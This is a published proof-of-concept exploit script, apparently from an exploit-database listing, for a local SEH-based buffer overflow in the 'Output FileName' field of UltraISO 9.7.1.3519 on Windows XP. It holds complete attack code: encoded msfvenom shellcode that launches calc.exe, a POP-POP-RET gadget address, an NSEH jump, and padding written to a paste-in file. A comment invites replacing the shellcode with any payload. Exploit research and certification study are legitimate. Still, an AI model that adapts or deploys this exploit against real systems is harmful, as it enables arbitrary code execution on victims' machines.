UltraISO 9.7.1.3519 – ‘Output FileName’ Local Buffer Overflow (SEH)
#!/usr/bin/python # Exploit Title: UltraISO 9.7.1.3519 - Local Buffer Overflow (SEH) # Date: 30/01/2019 # Exploit Author: Dino Covotsos - Telspace Systems # Vendor Homepage: https://www.ultraiso.com/ # Version: 9.7.1.3519 # Software Link: https://www.ultraiso.com/download.html # Contact: services[@]telspace.co.za # Twitter: @telspacesystems (Greets to the Telspace Crew) # Tested on: Windows XP Prof SP3 ENG x86 # CVE: TBC from Mitre # Thanks to Francisco Ramirez for the original Windows 10 x64 DOS. # Created in preparation for OSCE - DC - Telspace Systems # PoC: # 1.) Generate exploit.txt, copy the content to clipboard # 2.) In the application, click "Make CD/DVD Image" # 3.) Paste the contents of exploit.txt under 'Output FileName' # 4.) Click OK - Calc POPS (or change shellcode to whatever you require, take note of badchars!) #0x72d1170b : pop esi # pop ebx # ret 0x04 | {PAGE_EXECUTE_READ} [msacm32.drv] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 #NSEH - JMP 0012ED66 (\xEB\x08) #msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x3a" -f c shellcode = ("\xda\xc0\xd9\x74\x24\xf4\xbf\x67\xdc\x50\x39\x5d\x2b\xc9\xb1" "\x31\x83\xc5\x04\x31\x7d\x14\x03\x7d\x73\x3e\xa5\xc5\x93\x3c" "\x46\x36\x63\x21\xce\xd3\x52\x61\xb4\x90\xc4\x51\xbe\xf5\xe8" "\x1a\x92\xed\x7b\x6e\x3b\x01\xcc\xc5\x1d\x2c\xcd\x76\x5d\x2f" "\x4d\x85\xb2\x8f\x6c\x46\xc7\xce\xa9\xbb\x2a\x82\x62\xb7\x99" "\x33\x07\x8d\x21\xbf\x5b\x03\x22\x5c\x2b\x22\x03\xf3\x20\x7d" "\x83\xf5\xe5\xf5\x8a\xed\xea\x30\x44\x85\xd8\xcf\x57\x4f\x11" "\x2f\xfb\xae\x9e\xc2\x05\xf6\x18\x3d\x70\x0e\x5b\xc0\x83\xd5" "\x26\x1e\x01\xce\x80\xd5\xb1\x2a\x31\x39\x27\xb8\x3d\xf6\x23" "\xe6\x21\x09\xe7\x9c\x5d\x82\x06\x73\xd4\xd0\x2c\x57\xbd\x83" "\x4d\xce\x1b\x65\x71\x10\xc4\xda\xd7\x5a\xe8\x0f\x6a\x01\x66" "\xd1\xf8\x3f\xc4\xd1\x02\x40\x78\xba\x33\xcb\x17\xbd\xcb\x1e" "\x5c\x31\x86\x03\xf4\xda\x4f\xd6\x45\x87\x6f\x0c\x89\xbe\xf3" "\xa5\x71\x45\xeb\xcf\x74\x01\xab\x3c\x04\x1a\x5e\x43\xbb\x1b" "\x4b\x20\x5a\x88\x17\x89\xf9\x28\xbd\xd5") buffer = "A" * 304 + "\xEB\x08\x90\x90" + "\x0b\x17\xd1\x72" + "\x90" * 20 + shellcode + "D" * 9448 payload = buffer try: f=open("exploit.txt","w") print "[+] Creating %s bytes evil payload.." %len(payload) f.write(payload) f.close() print "[+] File created!" except: print "File cannot be created" |